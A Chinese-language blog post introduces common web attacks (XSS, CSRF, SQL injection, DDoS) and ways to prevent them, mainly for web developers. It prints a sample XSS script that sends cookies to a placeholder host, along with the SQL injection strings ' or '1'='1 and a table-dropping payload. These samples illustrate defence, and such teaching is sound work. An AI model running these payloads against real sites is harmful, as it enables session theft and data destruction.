動態

詳情 返回 返回

常見WEB攻擊與防禦 - 動態 詳情

作為一個web開發者,web安全是需要了解的,web攻擊是針對用户上網行為或網站服務器等設備進行攻擊的行為,如植入惡意代碼,修改網站權限,獲取網站用户隱私信息等等。從互聯網誕生起,網絡安全威脅就一直伴隨着網站的發展,各種web攻擊和信息泄露也從未停止。本文介紹常見web攻擊方式及預防措施。

  • XSS(跨站腳本攻擊)
  • CSRF(跨站請求偽造)
  • SQL注入
  • DDOS

XSS

跨站腳本攻擊指攻擊者在網頁中嵌入惡意腳本,當用户打開網頁時,惡意腳本開始執行,盜取用户cookie,用户名密碼等信息

比如在一個發佈內容系統中,攻擊者在內容中嵌入類似的代碼<script>window.open('www.xxx.com?param=' + document.cookie)</script>,當用户訪問這個頁面的時候,就會執行惡意代碼,該用户的cookie就會被髮送到攻擊者的服務器。

預防措施:

  • 將重要的cookies標記為http only,這樣JavaScript中的document.cookie語句就不能獲取到cookie了;
  • 只允許用户輸入我們期望的數據,如年齡的textbox中只允許輸入數字,其餘過濾;
  • 對數據進行Html Encode處理,如<轉化為<;、&轉化為&;
  • 過濾或移除特殊的Html標籤,如:script、iframe;
  • 過濾JavaScript事件的標籤,如“onclick=”、“onfocus”等。

CSRF

跨站請求偽造指通過盜用用户信息以用户的名義向第三方網站發起惡意請求,盜取賬號,轉賬,發送信息,刪除數據等

用户登錄信任站點A -> 未退出訪問惡意站點B -> 從站點B發起訪問站點A的惡意請求

預防措施:

  • Cookie設置HttpOnly,JS就無法讀取到cookie中的信息,避免攻擊者偽造cookie的情況出現。
  • 不使用cookie驗證,改token方式驗證
  • 通過referer識別,驗證頁面是否是信任站點

SQL注入

SQL注入攻擊是指把SQL語句偽裝成正常的http請求,欺騙服務器執行惡意的SQL語句,達到入侵目的。

  • ' or '1'= '1。這是最常見的sql注入攻擊,當我們輸入用户名 jiajun ,然後密碼輸入'or '1'= '1的時候,我們在查詢用户名和密碼是否正確的時候,本來要執行的是select * from user where username='' and password='',經過參數拼接後,會執行sql語句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了。
  • 但是如果再嚴重一點,密碼輸入的是';drop table user;--,那麼sql命令為select * from user where username='jiajun' and password='';drop table user;--' 這個時候我們就直接把這個表給刪除了

預防措施:

  • 對進入數據庫的特殊字符('"\尖括號&*;等)進行轉義處理,或編碼轉換。
  • 在應用發佈之前建議使用專業的SQL注入檢測工具進行檢測,以及時修補被發現的SQL注入漏洞。網上有很多這方面的開源工具,例如sqlmap、SQLninja等
  • 避免網站打印出SQL錯誤信息,比如類型錯誤、字段不匹配等,把代碼裏的SQL語句暴露出來,以防止攻擊者利用這些錯誤信息進行SQL注入。

DDOS

分佈式服務攻擊,藉助公共網絡,將數量龐大的計算器設備(肉雞)聯合起來,對一個或多個目標發動攻擊,從而達到癱瘓目標主機的目的。

  • SYN Flood ,簡單説一下tcp三次握手,客户端先服務器發出請求,請求建立連接,然後服務器返回一個報文,表明請求以被接受,然後客户端也會返回一個報文,最後建立連接。那麼如果有這麼一種情況,攻擊者偽造ip地址,發出報文給服務器請求連接,這個時候服務器接收到了,根據tcp三次握手的規則,服務器也要回應一個報文,可是這個ip是偽造的,報文迴應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候服務器收不到第三次握手時客户端發出的報文,又再重複第二次握手的操作。如果攻擊者偽造了大量的ip地址併發出請求,這個時候服務器將維護一個非常大的半連接等待列表,佔用了大量的資源,最後服務器癱瘓
  • CC攻擊,在應用層http協議上發起攻擊,模擬正常用户發送大量請求直到該網站拒絕服務為止。
  • DNS query flood 攻擊者偽造大量無效域名,發送給目標服務器解析,這些域名均為無效域名,導致DNS服務器耗用大量資源去處理這些無效域名,造成DNS解析域名超時,達到攻擊目的。

預防措施:

  • 增加帶寬,但是帶寬非常昂貴
  • 異常流量的清洗過濾
  • 過濾不必要的服務和端口
  • 高防智能DNS解析
  • 部署CDN

總結

以上只是列舉了常見的web攻擊方式,都是比較常見的web安全話題,以及一些防範方案實際開發過程中還會遇到很多安全問題,對於這些問題,我們都不可忽視,服務器上任何一個應用的漏洞都有可能是黑客攻陷服務器的突破口。除上述常見的幾種方式,還有很多web安全話題,有興趣的同學可以繼續研究。

專注前端開發,分享前端相關技術乾貨,公眾號:南城大前端(ID: nanchengfe)

user avatar crow_5c1708a9c847d 頭像 mi2nagemao 頭像 windseek 頭像 laomao_5902e12974409 頭像 buyaomingdeshuilongtou_orcjl 頭像 webshijie 頭像 limingxin 頭像 niumingxin 頭像 ox1dp6ei 頭像
點贊 9 用戶, 點贊了這篇動態!
點贊

Add a new 評論

Some HTML is okay.